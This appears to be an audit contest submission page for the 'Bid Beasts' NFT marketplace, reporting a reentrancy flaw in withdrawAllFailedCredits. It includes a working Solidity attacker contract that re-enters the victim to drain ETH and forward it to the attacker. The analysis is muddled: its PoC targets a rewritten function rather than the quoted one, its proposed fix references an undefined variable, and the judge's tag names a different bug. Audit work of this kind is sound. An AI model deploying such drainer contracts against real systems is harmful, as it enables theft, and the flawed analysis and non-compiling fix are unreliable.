Bid Beasts

First Flight #49
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Submission Details
Severity: high
Valid

Reentrancy Attack

Reentrancy Attack

Description

The withdrawAllFailedCredits is prone to having a contract address being inputed as the _receiver address which a malicious re-entrant contract is part of the options.

function withdrawAllFailedCredits(address _receiver) external {
uint256 amount = failedTransferCredits[_receiver];
require(amount > 0, "No credits to withdraw");
failedTransferCredits[msg.sender] = 0;
(bool success, ) = payable(msg.sender).call{value: amount}("");
require(success, "Withdraw failed");
}

Risk

Likelihood: Medium Risk

  • Theft // WHEN a malicious contract address is being inputed instead of a wallet address then re-entracy attack can happen.

Proof of Concept

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
contract Victim {
mapping(address => uint256) public failedTransferCredits;
// helper to put credits for an arbitrary address (simulates previous failed transfers)
function credit(address who) external payable {
require(msg.value > 0, "send ETH");
failedTransferCredits[who] += msg.value;
}
// VULNERABLE: interacts with _receiver BEFORE clearing its mapping entry
function withdrawAllFailedCredits(address _receiver) external {
uint256 amount = failedTransferCredits[_receiver];
require(amount > 0, "No credits to withdraw");
// ❌ Vulnerability: external call before effect
(bool success, ) = payable(_receiver).call{value: amount}("");
require(success, "Withdraw failed");
// state update AFTER external call — should be before
failedTransferCredits[_receiver] = 0;
}
// convenience to check contract balance
function getBalance() external view returns (uint256) {
return address(this).balance;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import "./Victim.sol";
contract MaliciousReceiver {
Victim public victim;
address public owner;
uint256 public loops; // control recursion depth
uint256 public maxLoops = 5; // safety cap
constructor(address _victim) {
victim = Victim(_victim);
owner = msg.sender;
}
// Kick off the attack after victim has been credited for this contract address
function attack() external {
require(msg.sender == owner, "only owner");
// Call victim, it will call back into this contract via receive()
victim.withdrawAllFailedCredits(address(this));
}
// Receive will be invoked when victim sends ETH to this contract.
// We reenter victim.withdrawAllFailedCredits while victim's mapping still has value.
receive() external payable {
// Re-enter only while victim still has balance and we haven't looped too much
if (address(victim).balance > 0 && loops < maxLoops) {
loops++;
// Re-enter: call withdrawAllFailedCredits again for this contract's address
// Because victim hasn't zeroed failedTransferCredits[_receiver] yet,
// the same 'amount' will be read again/again and continue draining.
victim.withdrawAllFailedCredits(address(this));
}
}
// Withdraw stolen funds to attacker EOA
function collect() external {
require(msg.sender == owner, "only owner");
payable(owner).transfer(address(this).balance);
}
}

Recommended Mitigation

- remove this code
function withdrawAllFailedCredits(address _receiver) external {
uint256 amount = failedTransferCredits[_receiver];
require(amount > 0, "No credits to withdraw");
failedTransferCredits[msg.sender] = 0;
(bool success, ) = payable(msg.sender).call{value: amount}("");
require(success, "Withdraw failed");
}
+ add this code
function withdrawAllFailedCredits() external {
uint256 amount = failedTransferCredits[msg.sender];
require(amount > 0, "No credits to withdraw");
failedTransferCredits[msg.sender] = 0;
// then external interaction
(bool success, ) = payable(_receiver).call{value: amount}("");
require(success, "Withdraw failed");
}
Updates

Lead Judging Commences

cryptoghost Lead Judge about 1 month ago
Submission Judgement Published
Validated
Assigned finding tags:

BidBeast Marketplace: Unrestricted FailedCredits Withdrawal

withdrawAllFailedCredits allows any user to withdraw another account’s failed transfer credits due to improper use of msg.sender instead of _receiver for balance reset and transfer.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.